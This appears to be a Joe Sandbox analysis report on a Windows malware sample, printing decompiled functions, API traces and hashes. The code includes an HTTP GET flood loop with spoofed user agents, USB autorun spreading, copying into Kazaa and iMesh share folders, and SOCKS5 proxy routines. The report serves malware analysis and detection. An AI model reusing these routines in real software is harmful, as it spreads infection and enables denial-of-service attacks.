Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: Atom$Findmalloc
String ID: -LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA$AAAA
API String ID: 822928543-4229226183
Opcode ID: 1cde5f556251f28f7a5f3583a1219a429abfe4cc9823d3c67868c7c8279f6633
Instruction ID: 71f7b58b7c901956c89d88a69398e3d4065bf1f5cfcf73eda586495b1d2063c5
Opcode Fuzzy Hash: 1cde5f556251f28f7a5f3583a1219a429abfe4cc9823d3c67868c7c8279f6633
Instruction Fuzzy Hash: B36137B4A00324CFEB51CF68C9C469ABBF4FB49391F15816AE948EB319E731A944CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00406A48 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 82
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00406A48(void* __eflags, intOrPtr* _a4) {
				void* _v16;
				char _v1052;
				intOrPtr _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				intOrPtr _v1084;
				char* _v1100;
				char* _v1104;
				char* _v1108;
				char* _v1112;
				char* _v1116;
				char* _v1120;
				char* _v1124;
				char* _v1128;
				char* _v1132;
				intOrPtr _v1144;
				intOrPtr _v1148;
				intOrPtr _v1152;
				char _v1156;
				char* _v1160;
				void* __ebx;
				signed int _t39;
				char _t45;
				intOrPtr* _t49;
				char _t50;
				intOrPtr _t51;
				char _t63;
				char _t64;
				void* _t65;
				void* _t66;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t70;

				_t67 = _t66 - 0x47c;
				_t49 = _a4;
				_v1132 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)";
				_v1128 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)";
				_v1124 = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)";
				_v1120 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)";
				_v1116 = "Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1";
				_v1112 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)";
				_v1108 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)";
				_v1104 = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
				_v1100 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
				 *_t67 = 9;
				_t39 = E00404EAE();
				_t51 =  *_t49;
				_v1084 = _t51;
				_t63 =  *((intOrPtr*)(_t49 + 4));
				_v1080 = _t63;
				_v1076 =  *((intOrPtr*)(_t49 + 8));
				_v1072 =  *((intOrPtr*)(_t49 + 0xc));
				_v1068 =  *((intOrPtr*)(_t49 + 0x10));
				_v1148 = _t51;
				_v1152 =  *((intOrPtr*)(_t65 + _t39 * 4 - 0x468));
				_v1156 = _t63;
				_v1160 = "GET %s HTTP/1.1\r\nConnection: Keep-Alive\r\nUser-Agent: %s\r\nHost: %s\r\nAccept: */*\r\n";
				_t50 =  &_v1052;
				 *_t67 = _t50;
				wsprintfA(??, ??);
				asm("cld");
				asm("repne scasb");
				 *((short*)(0xffffffff + _t50)) = 0xa0d;
				 *((char*)(0xbadbac + _t50 + 2)) = 0;
				_t64 = _t50;
				while(1) {
					_t45 = E00405434(_v1084, _t50, _v1084, _v1076);
					_t50 = _t45;
					if(_t45 == 0xffffffff) {
						break;
					}
					asm("cld");
					asm("repne scasb");
					_v1144 = 0;
					_v1148 = 0xbadbac;
					_v1152 = _t64;
					_v1156 = _t50;
					L004086B0();
					_t69 = _t67 - 0x10;
					 *_t69 = _t50;
					L004086C0();
					_t70 = _t69 - 4;
					 *_t70 = _v1068;
					Sleep(??);
					_t67 = _t70 - 4;
				}
				return 0;
			}

0x00406a4e
0x00406a54
0x00406a57
0x00406a61
0x00406a6b
0x00406a75
0x00406a7f
0x00406a89
0x00406a93
0x00406a9d
0x00406aa7
0x00406ab1
0x00406ab8
0x00406abd
0x00406abf
0x00406ac5
0x00406ac8
0x00406ad1
0x00406ada
0x00406ae3
0x00406ae9
0x00406af4
0x00406af8
0x00406afc
0x00406b04
0x00406b0a
0x00406b0d
0x00406b14
0x00406b1c
0x00406b21
0x00406b27
0x00406b2c
0x00406b2e
0x00406b41
0x00406b46
0x00406b4b
0x00000000
0x00000000
0x00406b4f
0x00406b57
0x00406b5c
0x00406b64
0x00406b68
0x00406b6c
0x00406b6f
0x00406b74
0x00406b77
0x00406b7a
0x00406b7f
0x00406b88
0x00406b8b
0x00406b90
0x00406b90
0x00406ba1

APIs

Part of subcall function 00404EAE: GetTickCount.KERNEL32 ref: 00404EB8
Part of subcall function 00404EAE: srand.MSVCRT ref: 00404EC0
Part of subcall function 00404EAE: rand.MSVCRT ref: 00404EC5

wsprintfA.USER32 ref: 00406B0D

Part of subcall function 00405434: WSASocketA.WS2_32 ref: 0040546A
Part of subcall function 00405434: htons.WS2_32 ref: 00405485
Part of subcall function 00405434: WSAConnect.WS2_32 ref: 004054D7

send.WS2_32 ref: 00406B6F
closesocket.WS2_32 ref: 00406B7A
Sleep.KERNEL32 ref: 00406B8B

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322), xrefs: 00406A75
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0), xrefs: 00406A9D
GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*, xrefs: 00406AFC
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1), xrefs: 00406A89
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 00406AA7
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 00406A57
Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1, xrefs: 00406A7F
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;), xrefs: 00406A93
Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729), xrefs: 00406A6B
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon), xrefs: 00406A61

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ConnectCountSleepSocketTickclosesockethtonsrandsendsrandwsprintf
String ID: GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*$Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)$Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)$Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
API String ID: 336679807-801071570
Opcode ID: c83cad52eaf153bfa2597a7668835f7560a72396ad6db5fc3469acb45590c5f7
Instruction ID: 5cdc0710ae53c098c5dd65590a42bc470b49e3f5e350015ac0ed1cf0fb49e237
Opcode Fuzzy Hash: c83cad52eaf153bfa2597a7668835f7560a72396ad6db5fc3469acb45590c5f7
Instruction Fuzzy Hash: D83141F49047148BCB20DF29C58428DBBF0EF85314F1085AEE558AB392D7789A95CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 100017DF Relevance: 24.2, APIs: 16, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100017DF(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char* _a8, void* _a12, intOrPtr _a16, void* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v24;
				void* _v44;
				void* _v45;
				void* _v68;
				void* _v72;
				void* _v76;
				void* _t61;
				void* _t62;
				char* _t97;
				void* _t99;
				intOrPtr _t103;
				intOrPtr _t106;

				_v16 = __ebx;
				_v12 = __esi;
				_v8 = __edi;
				_t106 = _a4;
				_t97 = _a8;
				_t103 = _a16;
				_t62 = E1000128D(_t61, _t106, _t97, 4);
				_t99 = 0;
				if(_t62 == 0 ||  *_t97 == 5 &&  *((char*)(_t97 + 2)) == 0) {
					L31:
					return _t99;
				} else {
					goto L31;
				}
			}

0x100017e5
0x100017e8
0x100017eb
0x100017ee
0x100017f1
0x100017f4
0x10001806
0x1000180b
0x10001812
0x10001a4c
0x10001a5a
0x00000000
0x00000000
0x00000000

APIs

sread.SHERVANS ref: 10001806
socks5_exec.SHERVANS ref: 10001863

Part of subcall function 1000157E: GetTempPathA.KERNEL32 ref: 1000159B
Part of subcall function 1000157E: GetTempFileNameA.KERNEL32 ref: 100015C0
Part of subcall function 1000157E: CreateFileA.KERNEL32 ref: 100015FB
Part of subcall function 1000157E: closesocket.WS2_32 ref: 100017BA
Part of subcall function 1000157E: DeleteFileA.KERNEL32 ref: 100017CF

sread.SHERVANS ref: 100019B7
sread.SHERVANS ref: 100019D2
swrite.SHERVANS ref: 100019ED
swrite.SHERVANS ref: 10001A05
swrite.SHERVANS ref: 10001A20
sread.SHERVANS ref: 10001A45

Memory Dump Source

Source File: 00000000.00000002.315838367.0000000010001000.00000040.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.315832824.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315881149.0000000010005000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315891328.0000000010008000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315896779.000000001000A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315901095.000000001000B000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.315906116.000000001000C000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ydbWyoxHsd.jbxd

Similarity

API ID: sread$Fileswrite$Temp$CreateDeleteNamePathclosesocketsocks5_exec
String ID:
API String ID: 1579704005-0
Opcode ID: 1361eb1be249255d460c70edfd148e1c9b89b3f8427c69b145975216a9914cb7
Instruction ID: 5eecf2eb680c679f1e884437c8fbeb8378991082b1e0f8ebcdaa05e3154df527
Opcode Fuzzy Hash: 1361eb1be249255d460c70edfd148e1c9b89b3f8427c69b145975216a9914cb7
Instruction Fuzzy Hash: EC6119B4A0A7459BF741DF64C08039EBBE0EF89290F11881DE888D7359DB74DA85CB97

Uniqueness

Uniqueness Score: -1.00%

Function 004068A0 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 81
stringsleepfileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004068A0() {
				void* _v16;
				char _v188;
				char _v220;
				char _v348;
				char _v349;
				char _v380;
				void _v476;
				intOrPtr _v484;
				int _v488;
				void* _v492;
				int _t40;
				CHAR* _t42;
				void* _t47;
				signed int _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				void** _t55;
				intOrPtr* _t56;

				memcpy( &_v476, 0x40d460, 0x60);
				E00404C38( &_v380, "nhgbeha.vas");
				_v488 = "fngbeanf.qyy";
				_t47 =  &_v220;
				_v492 = _t47;
				E00404C38();
				_v484 = _t47;
				_v488 = 0x96;
				_v492 =  &_v188;
				E00404620();
				if(E00404ED6( &_v188) != 0) {
					_t50 =  &_v348;
					while(1) {
						Sleep(0x1770);
						_t54 = _t53 - 4;
						_t49 = 0;
						do {
							_t40 = GetDriveTypeA( *(_t52 + _t49 * 4 - 0x1d8));
							_t54 = _t54 - 4;
							if(_t40 == 2) {
								_t51 =  &_v348;
								memset(_t51, 0, 0x78);
								_t42 =  *(_t52 + _t49 * 4 - 0x1d8);
								_v488 = _t42;
								_v492 = _t51;
								L0040C208();
								_v492 = _t51;
								L0040C310();
								_t55 = _t54 - 4;
								if(_t42[(char*)( &_v349)] != 0x5c) {
									_v492 = 0x412935;
									 *_t55 = _t51;
									L0040C328();
									_t55 = _t55 - 8;
								}
								_v492 =  &_v380;
								 *_t55 = _t50;
								L0040C208();
								 *_t55 = 1;
								SetErrorMode(??);
								_t56 = _t55 - 4;
								_v488 = 0;
								_v492 = _t50;
								 *_t56 =  &_v188;
								CopyFileA(??, ??, ??);
								_t54 = _t56 - 0xc;
							}
							_t49 = 1 + _t49;
						} while (_t49 <= 0x17);
					}
				}
				return 0;
			}

0x004068c5
0x004068db
0x004068e0
0x004068e8
0x004068ee
0x004068f1
0x004068f6
0x004068fa
0x00406908
0x0040690b
0x0040691a
0x00406920
0x00406926
0x0040692d
0x00406932
0x00406935
0x0040693a
0x00406944
0x00406949
0x0040694f
0x00406955
0x0040696e
0x00406973
0x0040697a
0x0040697e
0x00406981
0x00406986
0x00406989
0x0040698e
0x00406999
0x0040699b
0x004069a3
0x004069a6
0x004069ab
0x004069ab
0x004069b4
0x004069b8
0x004069bb
0x004069c0
0x004069c7
0x004069cc
0x004069cf
0x004069d7
0x004069e1
0x004069e4
0x004069e9
0x004069e9
0x004069ec
0x004069ed
0x004069f6
0x00406926
0x00406a07

APIs

memcpy.MSVCRT ref: 004068C5

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 00404ED6: fopen.MSVCRT ref: 00404EEA
Part of subcall function 00404ED6: fclose.MSVCRT ref: 00404EFB

Sleep.KERNEL32 ref: 0040692D
GetDriveTypeA.KERNEL32 ref: 00406944
memset.MSVCRT ref: 0040696E
_mbscat.MSVCRT ref: 00406981
lstrlen.KERNEL32 ref: 00406989
lstrcat.KERNEL32 ref: 004069A6
_mbscat.MSVCRT ref: 004069BB
SetErrorMode.KERNEL32 ref: 004069C7
CopyFileA.KERNEL32 ref: 004069E4

Strings

fngbeanf.qyy, xrefs: 004068E0
nhgbeha.vas, xrefs: 004068CA
x, xrefs: 0040695B

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrcat$_mbscatlstrlenmemset$CopyDirectoryDriveErrorFileModeSleepSystemTypefclosefopenmemcpy
String ID: fngbeanf.qyy$nhgbeha.vas$x
API String ID: 1674407683-3747760128
Opcode ID: a781d3461717b306554f03ee67c14ce0aa3dc3647b02a65b4a03f677e82d5d21
Instruction ID: ef6cf4129608155cc112f4a97fe144a2978ba8a5c429c4c3aaf2c51783ef7b88
Opcode Fuzzy Hash: a781d3461717b306554f03ee67c14ce0aa3dc3647b02a65b4a03f677e82d5d21
Instruction Fuzzy Hash: 01313BB0808704DAD710BF65D58539EBBF4AF84318F41897EE8C867282D77C9598CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00403390 Relevance: 21.2, APIs: 14, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 004033D2
GetFileSize.KERNEL32 ref: 00403409
CreateFileMappingA.KERNEL32 ref: 00403448
CloseHandle.KERNEL32 ref: 0040346E
MapViewOfFile.KERNEL32 ref: 004034A9
CloseHandle.KERNEL32 ref: 004034C0
CloseHandle.KERNEL32 ref: 004034D1

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: File$CloseHandle$Create$MappingSizeView
String ID:
API String ID: 3733816638-0
Opcode ID: 28ad9512942125c148e9156a3630da42204dd69e6c08cca65b9db14b0c4ba9a3
Instruction ID: 986d351c7ed07d29ba8de43e54e9a7d5c311c5fefbca7bada34d70547d36c5f0
Opcode Fuzzy Hash: 28ad9512942125c148e9156a3630da42204dd69e6c08cca65b9db14b0c4ba9a3
Instruction Fuzzy Hash: 0F513FB59043059BDB10AF25C99535EBFF4AF81348F1089AEE488673C1D779DA88CB87

Uniqueness

Uniqueness Score: -1.00%

Function 00405850 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111stringregistryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 004058F5
RegQueryValueExA.ADVAPI32 ref: 0040593C
RegCloseKey.ADVAPI32 ref: 00405955
lstrlen.KERNEL32 ref: 0040596D
lstrlen.KERNEL32 ref: 00405982
lstrlen.KERNEL32 ref: 0040599B
lstrcat.KERNEL32 ref: 004059B8
lstrcpy.KERNEL32 ref: 004059EC
lstrcat.KERNEL32 ref: 00405A02
CopyFileA.KERNEL32 ref: 00405A19

Strings

Fbsgjner\Xnmnn\Genafsre, xrefs: 0040586F
QyQve0, xrefs: 00405885

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrlen$lstrcat$CloseCopyFileOpenQueryValuelstrcpy
String ID: Fbsgjner\Xnmnn\Genafsre$QyQve0
API String ID: 3255004976-3635034446
Opcode ID: 96bb27e789c0454cfa1d7dd6218e760f1b91c58a1b94f5de8dcecc10dbf1df5e
Instruction ID: afcb269cad9b4d3002b0b3817e33f6dff803cc776bda76573fbb9b1efc1f5d05
Opcode Fuzzy Hash: 96bb27e789c0454cfa1d7dd6218e760f1b91c58a1b94f5de8dcecc10dbf1df5e
Instruction Fuzzy Hash: 0751FBB4D05718DBDB50EF24C58939EBBF0AF44304F4189BED88867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00405A3E Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111stringregistryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00405AE3
RegQueryValueExA.ADVAPI32 ref: 00405B2A
RegCloseKey.ADVAPI32 ref: 00405B43
lstrlen.KERNEL32 ref: 00405B5B
lstrlen.KERNEL32 ref: 00405B70
lstrlen.KERNEL32 ref: 00405B89
lstrcat.KERNEL32 ref: 00405BA6
lstrcpy.KERNEL32 ref: 00405BDA
lstrcat.KERNEL32 ref: 00405BF0
CopyFileA.KERNEL32 ref: 00405C07

Strings

QbjaybnqQve, xrefs: 00405A73
Fbsgjner\vZrfu\Trareny, xrefs: 00405A5D

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: lstrlen$lstrcat$CloseCopyFileOpenQueryValuelstrcpy
String ID: Fbsgjner\vZrfu\Trareny$QbjaybnqQve
API String ID: 3255004976-427315093
Opcode ID: 94e05c4d2cf339448625aa2dd311526b15f0b73e23a95898dc47c488b5c81944
Instruction ID: 4c2f52c761e00ed0f591be26c1bd4671a41acc1e7387a317ba9ae8b83013203e
Opcode Fuzzy Hash: 94e05c4d2cf339448625aa2dd311526b15f0b73e23a95898dc47c488b5c81944
Instruction Fuzzy Hash: D051FCB4905718CEDB60EF24C58939EBBF4AF44304F4185BEDC8867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 004017F8 Relevance: 19.6, APIs: 13, Instructions: 108
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E004017F8(signed int __edx, CHAR* _a4, intOrPtr* _a8) {
				void* _v16;
				DWORD* _v20;
				signed int _v24;
				signed int _v28;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				signed int _v52;
				DWORD* _v56;
				signed int _v60;
				DWORD* _v64;
				signed int _t50;
				void* _t54;
				void* _t55;
				int _t58;
				DWORD* _t62;
				void* _t65;
				void* _t68;
				DWORD* _t73;
				signed int _t74;
				void* _t86;
				DWORD* _t88;
				void* _t89;
				void* _t90;
				void** _t92;
				void** _t93;
				void** _t94;

				_t74 = __edx;
				_v20 = 0;
				_t50 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0xa7, 0);
				_t90 = _t89 - 0x1c;
				_t86 = _t50;
				_t73 = 0;
				if((_t74 & 0xffffff00 | _t50 == 0xffffffff | _t50 & 0xffffff00 | _t50 == 0x00000000) == 0) {
					_v24 = GetFileSize(_t86, 0);
					_t54 = GetProcessHeap();
					_v52 = _v24;
					_v56 = 0;
					_t55 = RtlAllocateHeap(_t54);
					_t92 = _t90 - 0xfffffffffffffffc;
					_v28 = _t55;
					if(_t55 != 0) {
						_v52 = 0;
						_v56 =  &_v20;
						_v60 = _v24;
						_v64 = _v28;
						 *_t92 = _t86;
						_t58 = ReadFile(??, ??, ??, ??, ??);
						_t93 = _t92 - 0x14;
						if(_t58 != 0) {
							_t88 = 1 + ((0xb + _v24 * 4) * 0xaaaaaaab >> 0x20 >> 3) * 4;
							_v64 = _t88;
							 *_t93 = 0x40;
							_t62 = GlobalAlloc(??, ??);
							_t94 = _t93 - 8;
							_v56 = _t88;
							_v60 = _t62;
							_v64 = _v24;
							 *_t94 = _v28;
							 *_a8 = E00401996(_v28, _v24);
							_t65 = GetProcessHeap();
							_v60 = _v28;
							_v64 = 0;
							 *_t94 = _t65;
							HeapFree(??, ??, ??);
							 *(_t94 - 0xc) = _t86;
							CloseHandle(??);
							_t73 = _t62;
						} else {
							_t68 = GetProcessHeap();
							_v60 = _v28;
							_v64 = 0;
							 *_t93 = _t68;
							HeapFree(??, ??, ??);
							 *(_t93 - 0xc) = _t86;
							CloseHandle(??);
							_t73 = 0;
						}
					} else {
						 *_t92 = _t86;
						CloseHandle(??);
						_t73 = 0;
					}
				}
				return _t73;
			}

0x004017f8
0x00401801
0x0040183e
0x00401843
0x00401846
0x00401853
0x0040185a
0x00401873
0x00401876
0x0040187e
0x00401882
0x0040188d
0x00401892
0x00401895
0x0040189a
0x004018b1
0x004018bc
0x004018c3
0x004018ca
0x004018ce
0x004018d1
0x004018d6
0x004018db
0x00401924
0x0040192b
0x0040192f
0x00401936
0x0040193b
0x00401940
0x00401944
0x0040194b
0x00401952
0x0040195d
0x0040195f
0x00401967
0x0040196b
0x00401973
0x00401976
0x0040197e
0x00401981
0x00401989
0x004018dd
0x004018dd
0x004018e5
0x004018e9
0x004018f1
0x004018f4
0x004018fc
0x004018ff
0x00401907
0x00401907
0x0040189c
0x0040189c
0x0040189f
0x004018a7
0x004018a7
0x0040189a
0x00401994

APIs

CreateFileA.KERNEL32 ref: 0040183E
GetFileSize.KERNEL32 ref: 0040186B
GetProcessHeap.KERNEL32 ref: 00401876
RtlAllocateHeap.NTDLL ref: 0040188D
CloseHandle.KERNEL32 ref: 0040189F
ReadFile.KERNEL32 ref: 004018D1
GetProcessHeap.KERNEL32 ref: 004018DD
HeapFree.KERNEL32 ref: 004018F4
CloseHandle.KERNEL32 ref: 004018FF

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Heap$File$CloseHandleProcess$AllocateCreateFreeReadSize
String ID:
API String ID: 1447158257-0
Opcode ID: 3f111dcaf8cf3b0762ed0ef5d64caf3b4e836ab70030ef84dcd2666f8baf838a
Instruction ID: 56d12447d5e111c6f88c9cc84d084cd75ca963f9ae61866c417ed6db83e02629
Opcode Fuzzy Hash: 3f111dcaf8cf3b0762ed0ef5d64caf3b4e836ab70030ef84dcd2666f8baf838a
Instruction Fuzzy Hash: 614119B1904705DBD700EFA9C18536EBFF0AF84304F108A3EE884A7791D7799949CB96

Uniqueness

Uniqueness Score: -1.00%

Function 10001C8C Relevance: 15.1, APIs: 10, Instructions: 81pipeCOMMON

Download Yara Rule

APIs

Socks5Accept.SHERVANS ref: 10001CAE

Part of subcall function 10001BBE: sread.SHERVANS ref: 10001BE6
Part of subcall function 10001BBE: sread.SHERVANS ref: 10001C20
Part of subcall function 10001BBE: swrite.SHERVANS ref: 10001C61
Part of subcall function 10001BBE: Socks5Auth.SHERVANS ref: 10001C76
